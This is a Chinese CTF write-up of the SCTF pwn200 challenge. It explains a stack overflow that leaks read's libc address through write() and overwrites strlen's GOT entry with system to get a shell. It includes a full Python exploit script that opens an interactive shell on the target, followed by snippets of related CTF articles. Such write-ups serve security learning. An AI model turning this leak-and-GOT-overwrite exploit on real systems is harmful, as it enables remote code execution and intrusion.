sctf pwn200

  题目给出了pwn200和libc.so。使用IDA查看程序,发现逻辑很简单。

  使用checksec查看pwn200的安全属性,如下图:

  

  发现NX enabled,No PIE。

  在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构:

  发现可以将nbytes覆盖,可以覆盖为0xff。

  在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call    _write”,并且构造栈参数(为了泄露库函数的虚拟地址)。如下:

  这样程序一返回(080485C1 retn)就执行write库函数,通过GOT泄露出某个库函数(这里可以泄露read的虚拟地址)的虚拟地址,从而通过IDA查看libc.so中system的位置和read的位置差,可以计算出system的虚拟地址。

  紧接着会第三次读(0x08048524位置),这个读到内存的位置是:ebp+buf即ebp-0x1C,那么我们可以通过在第二次读的时候构造理想的ebp,使得我们能够将覆盖GOT中strlen库函数的虚拟地址,覆盖为system的虚拟地址;同时,将buf开始处存储/bin/sh。这样在进行接下来的strlen函数调用时,相当于执行system("/bin/sh"),因此获得shell。

  exploit是来自http://www.imsebao.com/。思路很清晰,我稍加注释。

from socket import *
from struct import *
import time

#remote
‘‘‘
readOffset = 0x000de3a0
systOffset = 0x0003f430
‘‘‘
#local
readOffset = 0x000bdd20
systOffset = 0x00039100

param = ‘/bin/sh\x00‘ + ‘ls home‘ + ‘a‘*5#‘ls home‘ and ‘a‘*5 are paddings so that to override 0x08049858
#0x08049858 is strlen‘s address

s = socket(AF_INET, SOCK_STREAM)
s.connect((‘192.168.200.7‘, 10001))
#construct name,override nbytes to \xff
name = ‘syclover‘+ ‘\x00‘ + ‘abcdefg‘ + ‘\xFF‘
# input name:
print s.recv(1024)
s.send(name)

showReadGot = ‘A‘*156
showReadGot += pack(‘<I‘, 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst
showReadGot += pack(‘<I‘, 0x08048507)#override ret to call write
showReadGot += pack(‘<I‘, 1)#stdout
showReadGot += pack(‘<I‘, 0x08049850)#src,read‘s got
showReadGot += pack(‘<I‘, 4)#num
# input slogan:
print s.recv(1024)
s.send(showReadGot)

read = s.recv(1024)[-4:]#leak read‘s virtual address in process
viraddr_read = unpack(‘<I‘, read)[0]
print ‘viraddr_read: %x‘ % viraddr_read
syst = viraddr_read - readOffset + systOffset
print ‘system: %x‘ % syst

exploit = param + pack(‘<I‘, syst)
s.send(exploit)

while True:
    s.send(raw_input(‘$ ‘) + ‘\n‘)
    time.sleep(0.5)
    print s.recv(1024)
时间: 2024-08-04 05:19:19

sctf pwn200的相关文章

SCTF 2014 pwn题目分析

因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出.一道格式化字符串.一道堆溢出. pwn200 一个栈溢出. 题目给出了libc.保护只有nx. 拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址.然后用这个地址去覆盖一个函数的got表. pwn300 一个明显的格式化字符串漏洞

[RCTF]Pwn200 wp

0x00: XCTF开赛了,只看了pwn,这次还比较有意思,有x86  x64  arm mips 多种cpu构架的pwn.自己只搞出了pwn200 0x01:基本信息: x64 动态链接 有调试符号(怪不得是最简单的...) 开启的保护如图可以看到. 运行下,随便给点输入: 经过分析,发现问题出在echo()函数 而且这个bof的payload大概的格式: payload = "A"*24+"BBBBBB"+"\x00\x00" 0x02: 思

SCTF的一个WP------modbus

参加了个sctf比赛,也写一个WP,对就是一个.因为只做出了一个题目....,而且还是最简单的modbus协议的题目.作为一个刚刚出生的ctf小朋友,也非常值得欣慰的...不管做出了多少,总结是必要的,并且还要了解的透彻.1.首先打开题目,下载到了一个数据包.使用wireshark打开.里面存放了很多数据.看到题目首先百度一波modbus,原来这是一个工业协议. 来波这个协议的定义: Modbus 协议是应用于电子控制器上的一种通用语言.通过此协议,控制器相互之间.控制器经由网络(例如以太网)和

SCTF 2015 pwn试题分析

Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码,一脸懵逼.后来看了下汇编才明白是怎么回事. 解密直接打表就可以,也可以写逆算法. pwn1 用checksec看了一下保护机制,有canary+nx保护.漏洞是一个简单的栈溢出,但是没有办法劫持程序的流程. 因为flag已经被读到了内存中了,所以就想到去leak出来.后来知道有一种ssp leak

sctf pwn400

这个题目在这个链接中分析得很透彻,不再多余地写了.http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400 exploit: from socket import * import struct import time shellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\

sctf pwn300

拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能. 发现NX enabled,No PIE. 一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出. 观察IDA中逻辑后,发现一个格式化字符串漏洞. 在三号功能(Print your message)中0x08048837的printf调用处,存在格式化字符串漏洞.这个0x08048830处的src是二号功能(Leave a message)处留言的地址.即我们可以控制输入的内容,并且输出. 格式化字符

CTF学习之CODE

今年,国内各种CTF比赛应接不暇,第一次参加CTF是因为百度举办的BCTF.当时和几个好友一起参加了,过程相当的有趣,因此走上了这条不归路. CTF真的是很考验脑力的一个东西,题目涉及的范围相当之广,每次参加CTF我都有一个很强烈的感受:知识完全不够用,还是关掉浏览器滚回去好好学习! 今天,又是SCTF开赛,排行榜上各种大神我等只能膜拜,决心好好学习,系统的学一下,今天先从CODE开始. 我想,在CTF里面比较常见的要属摩斯码了.就是由点和横线组成的特殊符号串.如下图: 图中已经给的很清楚了,对

隐写术总结

隐写术总结 AppLeU0 · 2015/02/10 10:14 0x00 前言 之前还没有见到drops上有关于隐写术的总结,我之前对于隐写术比较有兴趣,感觉隐写术比较的好玩.所以就打算总结总结一些隐写术方面的东西.写的时候,可能会有错误的地方,请不吝赐教,谢谢. 本篇章中用到的隐写术的图片,都打包在了这里:隐写术图片,想去自己尝试一遍的话可以去下载. 最开始接触到隐写术,是看到一种叫做图种的东西,当时不懂,只说要另存为zip,然后解压出来就可以了,当时觉得特别神奇,就像发现了新大陆,然后就尝

【PWN】[email&#160;protected] 日课

Code:int __cdecl main(int argc, const char **argv, const char **envp){ int result; // [email protected] char sloganstr; // [sp+1Ch] [bp-9Ch]@1 char namestr[16]; // [sp+9Ch] [bp-1Ch]@1 size_t nbytes; // [sp+ACh] [bp-Ch]@1 nbytes = 16; *(_DWORD *)names